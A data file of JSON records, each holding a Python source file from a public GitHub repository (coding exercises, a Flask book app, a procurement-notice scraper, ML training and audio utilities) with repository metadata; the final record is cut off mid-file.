+{"seq_id":"29342933659","text":"#Cálculo del dígito verificador de un rut\nRUT = input(\"Ingrese su rut: \")\nif len(RUT) == 8:\n    h = RUT[7]\n    g = RUT[6]\n    f = RUT[5]\n    e = RUT[4]\n    d = RUT[3]\n    c = RUT[2]\n    b = RUT[1]\n    a = RUT[0]\n    hf = int(h) * 2\n    gf = int(g) * 3\n    ff = int(f) * 4\n    ef = int(e) * 5\n    df = int(d) * 6\n    cf = int(c) * 7\n    bf = int(b) * 2\n    af = int(a) * 3\n    i = (af+bf+cf+df+ef+ff+gf+hf) %11\nelif len(RUT) == 7:\n    g = RUT[6]\n    f = RUT[5]\n    e = RUT[4]\n    d = RUT[3]\n    c = RUT[2]\n    b = RUT[1]\n    a = RUT[0]\n    gf = int(g) * 2\n    ff = int(f) * 3\n    ef = int(e) * 4\n    df = int(d) * 5\n    cf = int(c) * 6\n    bf = int(b) * 7\n    af = int(a) * 2\n    i = (af + bf + cf + df + ef + ff + gf) % 11\n\nprint(i)\nIf = float(i)\nj = 11 - If\nif j == 11:\n    print(\"dv = 0\")\nelif j == 10:\n    print(\"dv = k\")\n\nelse:\n    dv = j\n    print(\"dv = \", j)\n","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej5/hito1_ej5_55deb731b3c4e63085f1e251c532fe7b.py","file_name":"hito1_ej5_55deb731b3c4e63085f1e251c532fe7b.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27324120889","text":"\"\"\"\nhttps://leetcode.com/problems/maximum-twin-sum-of-a-linked-list/\n\"\"\"\n\nfrom typing import Optional\n\n# Definition for singly-linked list.\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\n\nclass Solution:\n    def findMid(self, head: Optional[ListNode]) -> Optional[ListNode]:\n        fast = slow = head\n        \n        while fast and fast.next:\n            slow = slow.next\n            fast = fast.next.next\n        return slow\n    \n    def reverse(self, head: Optional[ListNode]) -> Optional[ListNode]:\n        prev = None\n        while head:\n            temp = head.next\n            head.next = prev\n            prev = head\n            head = temp\n        return prev\n        \n    \n    def pairSum(self, head: Optional[ListNode]) -> int:\n        mid = self.findMid(head)\n        reversed_2nd_half = self.reverse(mid)\n        \n        max_sum = 0\n        while reversed_2nd_half:\n            max_sum = max(max_sum, reversed_2nd_half.val + head.val)\n            head = head.next\n            reversed_2nd_half = reversed_2nd_half.next\n        \n        return max_sum\n    \n    # easy soln\n    def pairSum_(self, head: Optional[ListNode]) -> int:\n        copy = []\n        \n        while head:\n            copy.append(head.val)\n            head = head.next\n    \n        max_sum = 0\n        for i in range(len(copy) // 2 + 1):\n            max_sum = max(max_sum, copy[i] + copy[len(copy)-1-i])\n            \n        return max_sum","repo_name":"meraf00/Competitive-Programming","sub_path":"week_4/maximum_twin_sum.py","file_name":"maximum_twin_sum.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70387389690","text":"import machine,time\nfrom machine import Pin,PWM\nimport utime\nimport RPi.GPIO as GPIO\n\n#GPIO.setmode(GPIO.BCM)\nGPIO.setmode(GPIO.BOARD)\n\nGPIO.setwarnings(False)\n#Controlando relay 18\nGPIO.setup(32, GPIO.OUT)\nGPIO.setup(29, GPIO.OUT)\n\nMQ2 = machine.ADC(26)\nbuzzer = PWM(Pin(32))\nconversion_factor =3.3/(65535)\n\nwhile True:\n    smoke_value = MQ2.read_u16()\n    voltage =MQ2.read_u16()*conversion_factor\n    print(\"Smoke_value is\",smoke_value)\n    #print(\"Voltage is\",voltage)\n    utime.sleep(4)\n    if smoke_value<=6000:\n        led_green.toggle()\n        time.sleep(0.2)\n    else:\n        led_green.off()\n    if smoke_value>=10000:\n        buzzer.freq(500)\n        buzzer.duty_u16(90000)\n        time.sleep(0.9)\n        buzzer.duty_u16(0)\n        time.sleep(0.7)\n        buzzer.duty_u16(1)\n        led_red.on()\n        time.sleep(0.2)\n    else:\n        led_red.off()\n        buzzer.deinit()\n\n#https://www.youtube.com/watch?v=eeu3KjvaHUU\n","repo_name":"hefecaso/0246_Electronica_3_2S_2021","sub_path":"Prácticas_E3/Proyecto_domótica-Fase_final/Programación/Sensor_humo/sensor_humo.py","file_name":"sensor_humo.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38389091501","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///new-books-collection.db\"\ndb = SQLAlchemy()\ndb.init_app(app)\n\nall_books = []\n\n\nclass Book(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    title = db.Column(db.String(250), unique=True, nullable=False)\n    author = db.Column(db.String(250), nullable=False)\n    rating = db.Column(db.Float, nullable=False)\n\n\n# this will allow each book object to be identified by its title when printed.\ndef __repr__(self):\n    return f'<Book {self.title}>'\n\n\nwith app.app_context():\n    db.create_all()\n\n\n# with app.app_context():\n#     new_book = Book(id=1, title=\"Harry Potter\", author= \"J.K. Rowling\", rating=9.3)\n#     db.session.add(new_book)\n#     db.session.commit()\n\n\n@app.route('/')\ndef home():\n    result = db.session.execute(db.select(Book).order_by(Book.title))\n    all_books = result.scalars()\n    return render_template(\"index.html\", books=all_books)\n\n\n@app.route(\"/add\", methods=[\"GET\", \"POST\"])\ndef add():\n    if request.method == \"POST\":\n        new_book = Book(\n\n            title=request.form[\"title\"],\n            author=request.form[\"author\"],\n            rating=request.form[\"rating\"],\n        )\n        db.session.add(new_book)\n        db.session.commit()\n        return redirect(url_for('home'))\n\n    return render_template(\"add.html\")\n\n\n@app.route('/edit', methods=[\"GET\", \"POST\"])\ndef edit():\n    if request.method == \"POST\":\n        book_id = request.form[\"id\"]\n        updated_book = db.get_or_404(Book, book_id)\n        updated_book.rating = request.form[\"rating\"]\n        db.session.commit()\n        return redirect(url_for('home'))\n    book_id = request.args.get('id')\n    book_selected = db.get_or_404(Book, book_id)\n    return render_template(\"edit.html\", book=book_selected)\n\n@app.route('/delete')\ndef delete():\n    book_id = request.args.get(\"id\")\n    book_to_delete = db.get_or_404(Book,book_id)\n    db.session.delete(book_to_delete)\n    db.session.commit()\n    return redirect(url_for('home'))\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"negaryuki/100DaysofCode","sub_path":"Day63/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"5106878319","text":"from webdriver_manager.chrome import ChromeDriverManager\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom functools import reduce\nimport pandas as pd\nimport time\n\nprint(\"=\" * 100)\nkeyword = input(\"1.공고명으로 검색할 키워드는 무엇입니까?: \")\n# keyword = \"캠프\"\nstartDt = input(\"2.조회 시작일자 입력(예:2019/01/01): \")\n# startDt = \"2019/01/01\"\nendDt = input(\"3.조회 종료일자 입력(예:2019/12/31): \")\n# endDt = \"2019/12/31\"\nfilepath = input(\"4.파일로 저장할 폴더 이름을 쓰세요(예:c:\\\\temp\\\\): \")\n# filepath = \".\\\\files\"\n\n# (별도로 입력 받지 않는) 공고 수 파라미터\ncnt = 30\n\nxlsx_path = f\"{filepath}.xlsx\"\ntxt_path = f\"{filepath}.txt\"\n\nchrome_driver = ChromeDriverManager().install()\ndriver = webdriver.Chrome(chrome_driver)\n\ndriver.get(\"https://www.g2b.go.kr/index.jsp\")\ndriver.implicitly_wait(30)\n\ndriver.find_element(By.CSS_SELECTOR, \"#bidNm\").send_keys(keyword)\ndriver.execute_script(\n    f\"\"\"\n    document.querySelector(\"#fromBidDt\").value = \"{startDt}\";\n    document.querySelector(\"#toBidDt\").value = \"{endDt}\";\n    \"\"\"\n)\n\ndriver.execute_script(\"\"\"\n    javascript:search1(); // 검색 함수 실행\n\"\"\")\n\ntime.sleep(1)\nWebDriverWait(driver, 10).until(\n    EC.presence_of_element_located((By.CSS_SELECTOR, \"#sub\"))\n)\n\ntotal_results = []\n\nwhile len(total_results) < cnt:\n    results = driver.execute_script(\"\"\"\n        return [\n            ...document\n                .querySelector(\"#sub\")\n                .contentDocument.querySelector(\"html > frameset > frame:nth-child(2)\")\n                .contentDocument.querySelectorAll(\n                \"#resultForm > div.results > table > tbody > tr\"\n                ),\n            ].map((trElement) => {\n            const tdElements = trElement.querySelectorAll(\"td\");\n            const texts = [...tdElements].map((element) => element.innerText);\n\n            return [\n                ...texts.slice(0, 3),\n                tdElements[3].querySelector(\"a\")?.getAttribute(\"href\") || \"\",\n                ...texts.slice(3),\n            ];\n        });\n    \"\"\")\n\n    total_results = [*total_results, *results]\n\n    driver.execute_script(\"\"\"\n        document\n            .querySelector(\"#sub\")\n            .contentDocument.querySelector(\"html > frameset > frame:nth-child(2)\")\n            .contentDocument.querySelector(\"#pagination > a.default\").click();\n    \"\"\")\n    \n    time.sleep(1)\n    WebDriverWait(driver, 10).until(\n        EC.presence_of_element_located((By.CSS_SELECTOR, \"#sub\"))\n    )\n    \nwith open(txt_path, \"w\", encoding=\"utf8\") as fp:\n    for i, sample in enumerate(total_results):\n        fp.write(f\"{i + 1}번쨰 공고내용을 추출합니다~~~~\\n\")\n        fp.write(f\"1.업무: {sample[0]}\\n\")\n        fp.write(f\"2.공고번호-치수: {sample[1]}\\n\")\n        fp.write(f\"3.분류: {sample[2]}\\n\")\n        fp.write(f\"4.공고명: {sample[3]}\\n\")\n        fp.write(f\"5.URL 주소: {sample[4]}\\n\")\n        fp.write(f\"6.공고기관: {sample[5]}\\n\")\n        fp.write(f\"7.수요기관: {sample[6]}\\n\")\n        fp.write(f\"8.계약방법: {sample[7]}\\n\")\n        fp.write(f\"9.입력일시(입찰마감일시): {sample[8]}\\n\")\n        fp.write(f\"10.공동수급: {sample[9]}\\n\")\n        fp.write(f\"11.투찰여부: {sample[10]}\\n\")\n        fp.write(\"\\n\")\n\n# DEBUG CODE\n# print(\n#     len(list(reduce(lambda acc, cur: [*acc, cur[0]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[1]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[2]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[3]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[4]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[5]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[6]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[7]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[8]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[9]], total_results, []))),\n#     len(list(reduce(lambda acc, cur: [*acc, cur[10]], total_results, [])))\n# )\n    \npd.DataFrame({\n    \"업무\": list(reduce(lambda acc, cur: [*acc, cur[0]], total_results, [])),\n    \"공고번호-치수\": list(reduce(lambda acc, cur: [*acc, cur[1]], total_results, [])),\n    \"분류\": list(reduce(lambda acc, cur: [*acc, cur[2]], total_results, [])),\n    \"공고명\": list(reduce(lambda acc, cur: [*acc, cur[3]], total_results, [])),\n    \"URL 주소\": list(reduce(lambda acc, cur: [*acc, cur[4]], total_results, [])),\n    \"공고기관\": list(reduce(lambda acc, cur: [*acc, cur[5]], total_results, [])),\n    \"수요기관\": list(reduce(lambda acc, cur: [*acc, cur[6]], total_results, [])),\n    \"계약방법\": list(reduce(lambda acc, cur: [*acc, cur[7]], total_results, [])),\n    \"입력일시(입찰마감일시)\": list(reduce(lambda acc, cur: [*acc, cur[8]], total_results, [])),\n    \"공동수급\": list(reduce(lambda acc, cur: [*acc, cur[9]], total_results, [])),\n    \"투찰여부\": list(reduce(lambda acc, cur: [*acc, cur[10]], total_results, []))\n}).to_excel(xlsx_path)\n","repo_name":"devcomfort/dsu-2023-01-sns-bigdata-analytics-final-assignments","sub_path":"Q1/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41707324972","text":"import dataclasses\n\nimport flask\nfrom google.cloud import scheduler\n\nfrom app import configs\nfrom app.executor import validation\nfrom app.executor.scheduler_job_manager import schedule_on_commit\nfrom app.executor import import_executor\nfrom app.service import file_uploader\nfrom app.service import dashboard_api\nfrom app.service import github_api\nfrom app.service import email_notifier\nfrom app.service import import_service\n\n\ndef create_app():\n    \"\"\"Creates the Flask app.\"\"\"\n    return flask.Flask(__name__)\n\n\nFLASK_APP = create_app()\n\n\n@FLASK_APP.route('/', methods=['POST'])\ndef execute_imports():\n    \"\"\"Endpoint for executing imports on GitHub commits.\"\"\"\n    task_info = flask.request.get_json(force=True)\n    if 'COMMIT_SHA' not in task_info:\n        return {'error': 'COMMIT_SHA not found'}\n    commit_sha = task_info['COMMIT_SHA']\n    repo_name = task_info.get('REPO_NAME')\n    branch_name = task_info.get('BRANCH_NAME')\n    pr_number = task_info.get('PR_NUMBER')\n\n    task_configs = task_info.get('configs', {})\n    config = configs.ExecutorConfig(**task_configs)\n    executor = import_executor.ImportExecutor(\n        uploader=file_uploader.GCSFileUploader(\n            project_id=config.gcs_project_id,\n            bucket_name=config.storage_dev_bucket_name,\n            path_prefix=config.storage_executor_output_prefix),\n        github=github_api.GitHubRepoAPI(\n            repo_owner_username=config.github_repo_owner_username,\n            repo_name=config.github_repo_name,\n            auth_username=config.github_auth_username,\n            auth_access_token=config.github_auth_access_token),\n        config=config,\n        dashboard=dashboard_api.DashboardAPI(config.dashboard_oauth_client_id),\n        notifier=email_notifier.EmailNotifier(config.email_account,\n                                              config.email_token),\n        importer=import_service.ImportServiceClient(\n            project_id=config.gcs_project_id,\n            executor_output_prefix=config.storage_executor_output_prefix,\n            importer_output_prefix=config.storage_importer_output_prefix,\n            unresolved_mcf_bucket_name=config.storage_dev_bucket_name,\n            resolved_mcf_bucket_name=config.storage_importer_bucket_name,\n            client_id=config.importer_oauth_client_id))\n    result = executor.execute_imports_on_commit(commit_sha=commit_sha,\n                                                repo_name=repo_name,\n                                                branch_name=branch_name,\n                                                pr_number=pr_number)\n    return dataclasses.asdict(result)\n\n\n@FLASK_APP.route('/update', methods=['POST'])\ndef scheduled_updates():\n    \"\"\"Endpoint for updating imports.\"\"\"\n    task_info = flask.request.get_json(force=True)\n    if 'absolute_import_name' not in task_info:\n        return {'error': 'absolute_import_name not found'}\n    task_configs = task_info.get('configs', {})\n    config = configs.ExecutorConfig(**task_configs)\n    executor = import_executor.ImportExecutor(\n        uploader=file_uploader.GCSFileUploader(\n            project_id=config.gcs_project_id,\n            bucket_name=config.storage_prod_bucket_name),\n        github=github_api.GitHubRepoAPI(\n            repo_owner_username=config.github_repo_owner_username,\n            repo_name=config.github_repo_name,\n            auth_username=config.github_auth_username,\n            auth_access_token=config.github_auth_access_token),\n        config=config)\n    result = executor.execute_imports_on_update(\n        task_info['absolute_import_name'])\n    return dataclasses.asdict(result)\n\n\n@FLASK_APP.route('/schedule', methods=['POST'])\ndef schedule_data_refresh_cron_jobs():\n    \"\"\"Endpoint for scheduling cron jobs for updating imports upon\n    GitHub commits.\n\n    How configs are passed around:\n    import-automation/cloudbuild/cloudbuild*.yaml schedules how this\n    endpoint is called and what config is used.\n\n    The config is then passed down to the data refresh cron jobs\n    scheduled by this endpoint.\n    \"\"\"\n    task_info = flask.request.get_json(force=True)\n    if 'COMMIT_SHA' not in task_info:\n        return 'COMMIT_SHA not found'\n    task_configs = task_info.get('configs', {})\n    config = configs.ExecutorConfig(**task_configs)\n    github = github_api.GitHubRepoAPI(\n        repo_owner_username=config.github_repo_owner_username,\n        repo_name=config.github_repo_name,\n        auth_username=config.github_auth_username,\n        auth_access_token=config.github_auth_access_token)\n\n    res = import_executor.run_and_handle_exception(\n        None,  # run_id\n        None,  # dashboard\n        schedule_on_commit,\n        github,\n        config,\n        task_info['COMMIT_SHA'])\n    return dataclasses.asdict(res)\n\n\n@FLASK_APP.route('/_ah/start')\ndef start():\n    \"\"\"Handles start up calls from App Engine.\"\"\"\n    return ''\n\n\n@FLASK_APP.route('/healthz')\ndef healthz():\n    \"\"\"Healthcheck endpoint\"\"\"\n    return ''\n\n\ndef main():\n    \"\"\"Runs the app locally.\"\"\"\n    FLASK_APP.run(host='127.0.0.1', port=8080, debug=True)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"datacommonsorg/data","sub_path":"import-automation/executor/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5110,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"77"}
+{"seq_id":"6675508728","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport os\nimport time\n\nimport numpy as np\nimport pandas as pd\nfrom tqdm.auto import tqdm\n\nimport torch \nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.optim import AdamW\n\nimport config\nfrom src.model import SkipConnectionModel\nfrom src.utils import PandasDataset, get_cosine_with_hard_restarts_schedule_with_warmup\n\n# 모델을 학습시키기 위한 하이퍼 파라미터를 설정합니다.\nlr = config.LR\nadam_epsilon = config.ADAM_EPSILON\nepochs = config.EPOCHS\nbatch_size = config.BATCH_SIZE\nwarmup_step = config.WARMUP_STEPS\n\n# original data : train.csv => random으로 섞어 미리 train_split data를 만들고\n# evaluation을 위해서 val data를 따로 분리했습니다. (9:1)\n# 모델 학습 데이터 경로를 설정합니다.\ntrain_path = config.TRAIN_PATH\nval_path = config.VAL_PATH\n\n# Loader를 통해 Batch 데이터로 반환합니다.\ntrain_dataset = PandasDataset(train_path)\ntrain_loader = DataLoader(train_dataset, batch_size=batch_size, num_workers=0)\n\nval_dataset = PandasDataset(val_path)\nval_loader = DataLoader(val_dataset, batch_size=batch_size, num_workers=0) \n\n# 모델이 학습하는 전체 step을 계산합니다.\ntotal_step = len(train_loader) * epochs\nprint(f\"Total step is....{total_step}\")\n\n# 모델 인스턴스를 정의합니다.\nmodel = SkipConnectionModel(fn_in=226, fn_out=4)  # channel은 모델에서 수정합니다.\n\n# GPU 및 CUDA 환경이 마련되어 있다면, 모델 학습을 위해 CUDA 환경을 직접 설정합니다.\n# 그렇지 않은 경우 자동으로 CPU를 설정하게 됩니다.\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n# 모델을 GPU 메모리에 올립니다. gpu가 없는 환경은 자동으로 cpu가 설정됩니다.\nmodel = model.to(device) \n\n# 손실함수와 옵티마이저\n# 신경망 모델을 최적화할 수 있게 손실함수를 정의합니다.\n# MAE를 사용합니다.\nloss_fn = nn.L1Loss()\n\n# 옵티마이저와 스케줄러의 파라미터를 정의합니다.\nno_decay = [\"bias\", \"LayerNorm.weight\"] # decay하지 않을 영역 지정\noptimizer_grouped_parameters = [\n    {\n        \"params\": [p for n, p in model.named_parameters() \\\n            if not any(nd in n for nd in no_decay)],\n        \"weight_decay\": 0.0,\n    },\n    {\"params\": [p for n, p in model.named_parameters() \\\n        if any(nd in n for nd in no_decay)], \"weight_decay\": 0.0},\n]\n\n# 옵티마이저와 스케줄러 객체를 정의합니다.\noptimizer = AdamW(optimizer_grouped_parameters, lr=lr, eps=adam_epsilon)\nscheduler = get_cosine_with_hard_restarts_schedule_with_warmup(\n    optimizer, num_warmup_steps=warmup_step, num_training_steps=total_step\n)\n\n# 모델 이름을 위해서 변수를 만듭니다.\nversion = time.localtime()[3:5]\ncurr_lr = lr\n\n# train loss와 val loss를 지정합니다.\ntotal_loss = 0.0\ntotal_val_loss = 0.0\nn_val_loss = 10000000. # best validation loss를 저장하기 위해서 변수 설정합니다.\n\nif not os.path.exists('bin'):\n    os.mkdir('bin')\n\nfor epoch in range(epochs):\n    total_loss = 0 \n    total_val_loss = 0\n    for i, data in enumerate(tqdm(train_loader, desc='*********Train mode*******')):  # train 데이터를 부르고 학습합니다.\n        # 학습 데이터를 부르고 학습합니다.\n        # 순방향 정의\n        pred = model(data['X'].float().to(device))\n        loss = loss_fn(pred, data['Y'].float().to(device))\n        \n        # 역방향 정의\n        # optimizer 객체를 사용해서 학습 가능한 가중치 변수에 대한 모든 변화도를\n        # 0으로 만듭니다.\n        optimizer.zero_grad()\n\n        # loss에 따른 오차 역전파를 구합니다.\n        loss.backward()\n\n        # optimizer 객체의 파라미터들을 업데이트합니다.\n        optimizer.step()\n\n        # scheduler 객체의 파라미터들을 업데이트합니다.\n        scheduler.step()\n        \n        total_loss += loss.item()\n        \n    train_loss = total_loss / len(train_loader)\n    print (\"Epoch [{}/{}], Train Loss: {:.4f}\".format(epoch+1, epochs, train_loss))\n\n    # 평가\n    # 검증 데이터를 부르고 에포크마다 학습된 모델을 부르고 평가합니다. \n    model.eval()\n    with torch.no_grad():\n        for i, data in enumerate(tqdm(val_loader, \\\n            desc='*********Evaluation mode*******')):\n            pred = model(data['X'].float().to(device))\n            loss_val = loss_fn(pred, data['Y'].float().to(device))\n            \n            total_val_loss += loss_val.item()\n    val_loss = total_val_loss / len(val_loader)\n    print (\"Epoch [{}/{}], Eval Loss: {:.4f}\".format(epoch+1, epochs, val_loss))\n    \n    # 검증 데이터에서 가장 낮은 평균 절대 오차를 보인 에포크의 모델을 저장합니다.\n    if val_loss < n_val_loss:\n        n_val_loss = val_loss\n        #torch.save(model.state_dict(), f'bin/test_{version}.pth')\n        torch.save(model.state_dict(), f'bin/test.pth')\n        print(\"Best Model saved......\")\n        ","repo_name":"wikibook/dacon","sub_path":"ch02/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5047,"program_lang":"python","lang":"ko","doc_type":"code","stars":30,"dataset":"github-code","pt":"77"}
+{"seq_id":"9587215771","text":"try:\n    from setuptools import setup\nexcept ImportError:\n    from distutils.core import setup\n\nconfig = {\n    'description': 'CoReaDa',\n    'author': 'Madjdi SADALLAH',\n    'url': '...',\n    'download_url': '...',\n    'author_email': 'msadallah@cerist.dz',\n    'version': '0.1',\n    'install_requires': ['nose'],\n    'packages': ['CoReaDa'],\n    'scripts': [],\n    'name': 'coreada'\n}\n\nsetup(**config)\n","repo_name":"smadjid/CoReaDa-dev","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"45027328351","text":"class Solution:\n    def diagonalSum(self, mat: List[List[int]]) -> int:\n        a=len(mat)\n        s=0\n        for i in range(a):\n                s+=mat[i][i]+mat[a-i-1][i]\n        if a%2==1:\n                return s-mat[a//2][a//2]\n        else:\n                return s\n                ","repo_name":"PavanRathoriyar/CodingTree","sub_path":"matrix-diagonal-sum/matrix-diagonal-sum.py","file_name":"matrix-diagonal-sum.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"33706164767","text":"import librosa, numpy, math\r\nfrom scipy.io.wavfile import write\r\nimport matplotlib.pyplot as plt\r\n\r\ndef frames(y,sr):\r\n    #y,sr = librosa.load(f'{str(input_path)}/{str(name)}.wav')\r\n    utterance_length = sr*0.02      # 20 milliseconds sections\r\n    padding = int(math.ceil(len(y)/(utterance_length))*(utterance_length)-len(y))\r\n    y = numpy.concatenate((numpy.array([0]*padding),y),axis=0)\r\n    return [y[int(utterance_length*i):int((utterance_length*i)+utterance_length)] for i in range(int(len(y)/utterance_length))],sr\r\n\r\ndef shave_wav(y,sr):\r\n    #y,sr = librosa.load(f'{str(input_path)}/{str(name)}.wav')\r\n    mercy = int(numpy.round(0.2*sr))\r\n    rough_silence_mask = numpy.round((abs(y)+1)**10-.6)\r\n    mask = numpy.ones(shape=len(y))\r\n    for verse in [1,-1]:\r\n        count = 0\r\n        while rough_silence_mask[verse*count] == 0:\r\n            mask[verse*count] = 0\r\n            count += 1\r\n    mask = list(mask)\r\n    for verse in [1,-1]:\r\n        for i,el in enumerate(mask[::verse]):\r\n            if el==1:\r\n                if verse == 1:\r\n                    mask[i-mercy+1:i+1] = [1]*mercy\r\n                else:\r\n                    if len(y)-i+mercy > len(y):\r\n                        mask[(len(y)-i-1)+1:] = [1]*(i)\r\n                    else:\r\n                        mask[len(y)-i:len(y)-i+mercy] = [1]*mercy\r\n                break\r\n    mask = numpy.array(mask)\r\n    return y[mask==True],sr\r\n\r\ndef pad_shave_frame(name):\r\n    y,sr = librosa.load(name)\r\n    y,sr = shave_wav(y,sr)\r\n    y = numpy.concatenate(\r\n        (y,numpy.zeros(shape=(25*sr)-len(y)))\r\n    )\r\n    y,sr = frames(y,sr)\r\n    return y,sr\r\n\r\ndef plot_frames(y,sr):\r\n    # y as list of frames\r\n    for i in range(len(y)):\r\n        plt.plot(\r\n            list(range(int(sr*0.02)*(i),int(sr*0.02)*(i+1))),\r\n            y[i]\r\n        )\r\n    plt.show()","repo_name":"pacim78/Audio","sub_path":"frames.py","file_name":"frames.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74898180727","text":"'''\nDemo code for the paper\n\nChoy et al., 3D-R2N2: A Unified Approach for Single and Multi-view 3D Object\nReconstruction, ECCV 2016\n'''\nimport os\nimport sys\nif (sys.version_info < (3, 0)):\n    raise Exception(\"Please follow the installation instruction on 'https://github.com/chrischoy/3D-R2N2'\")\n\nimport shutil\nimport numpy as np\nfrom subprocess import call\n\nfrom PIL import Image\nfrom models import load_model\nfrom lib.config import cfg, cfg_from_list\nfrom lib.solver import Solver\nfrom lib.voxel import voxel2obj\n\nDEFAULT_WEIGHTS = 'output/ResidualGRUNet/default_model/weights.npy'\n\n\ndef cmd_exists(cmd):\n    return shutil.which(cmd) is not None\n\ndef compressImage(srcPath,dstPath):  \n    for filename in os.listdir(srcPath):  \n        if not os.path.exists(dstPath):\n                os.makedirs(dstPath)        \n        srcFile=os.path.join(srcPath,filename)\n        dstFile=os.path.join(dstPath,filename)\n        print(srcFile)\n\n        if srcFile.endswith(\".png\") or srcFile.endswith(\".JPG\") or srcFile.endswith(\".jpg\"):     \n            sImg=Image.open(srcFile)  \n            w,h=sImg.size  \n            print(w,h)\n            dImg=sImg.resize((127,127),Image.ANTIALIAS)  \n            dImg.save(dstFile) \n            print(dstFile+\" compressed succeeded\")\n        '''\n        if os.path.isdir(srcFile):\n            compressImage(srcFile,dstFile)\n        '''\n\ndef load_demo_images():\n    ims = []\n    compressImage(\"online/\",\"online/resized\")\n    for (dirpath, dirnames, filenames) in os.walk('online/resized'):\n        for file in sorted(filenames):\n            if file.endswith(\".png\") or file.endswith(\".JPG\") or file.endswith(\".jpg\"):\n                print(os.path.join(dirpath, file))\n                im = Image.open(os.path.join(dirpath, file))\n                ims.append([np.array(im).transpose(\n                    (2, 0, 1)).astype(np.float32) / 255.])\n    return np.array(ims)\n\n\ndef main():\n    '''Main demo function'''\n    # Save prediction into a file named 'prediction.obj' or the given argument\n    pred_file_name = sys.argv[1] if len(sys.argv) > 1 else 'prediction_online.obj'\n\n    # load images\n    demo_imgs = load_demo_images()\n\n\n    # Use the default network model\n    NetClass = load_model('ResidualGRUNet')\n\n    # Define a network and a solver. Solver provides a wrapper for the test function.\n    net = NetClass(compute_grad=False)  # instantiate a network\n    net.load(DEFAULT_WEIGHTS)                        # load downloaded weights\n    solver = Solver(net)                # instantiate a solver\n\n    # Run the network\n    voxel_prediction, _ = solver.test_output(demo_imgs)\n\n    # Save the prediction to an OBJ file (mesh file).\n    voxel2obj(pred_file_name, voxel_prediction[0, :, 1, :, :] > cfg.TEST.VOXEL_THRESH)\n\n    # Use meshlab or other mesh viewers to visualize the prediction.\n    # For Ubuntu>=14.04, you can install meshlab using\n    # `sudo apt-get install meshlab`\n    if cmd_exists('meshlab'):\n        call(['meshlab', pred_file_name])\n    else:\n        print('Meshlab not found: please use visualization of your choice to view %s' %\n              pred_file_name)\n\n\nif __name__ == '__main__':\n    # Set the batch size to 1\n    cfg_from_list(['CONST.BATCH_SIZE', 1])\n    main()\n","repo_name":"HaolongZ/FinalYearProject","sub_path":"online.py","file_name":"online.py","file_ext":"py","file_size_in_byte":3223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72621046009","text":"from typing import Optional, Tuple\n\nimport torch\nfrom torch import nn\nfrom fairseq.modules.layer_norm import LayerNorm\n\n\nclass Swish(nn.Module):\n    \"\"\"Construct an Swish object.\"\"\"\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        \"\"\"Return Swish activation function.\"\"\"\n        return x * torch.sigmoid(x)\n\n\nclass ConvolutionModule(nn.Module):\n    \"\"\"ConvolutionModule in Conformer model.\"\"\"\n    def __init__(self,\n                 channels: int,\n                 kernel_size: int = 15,\n                 norm: str = \"batch_norm\",\n                 bias: bool = True):\n        \"\"\"Construct an ConvolutionModule object.\n        Args:\n            channels (int): The number of channels of conv layers.\n            kernel_size (int): Kernel size of conv layers.\n            causal (int): Whether use causal convolution or not\n        \"\"\"\n        super().__init__()\n\n        self.pointwise_conv1 = nn.Conv1d(\n            channels,\n            2 * channels,\n            kernel_size=1,\n            stride=1,\n            padding=0,\n            bias=bias,\n        )\n\n        # kernel_size should be an odd number for none causal convolution\n        assert (kernel_size - 1) % 2 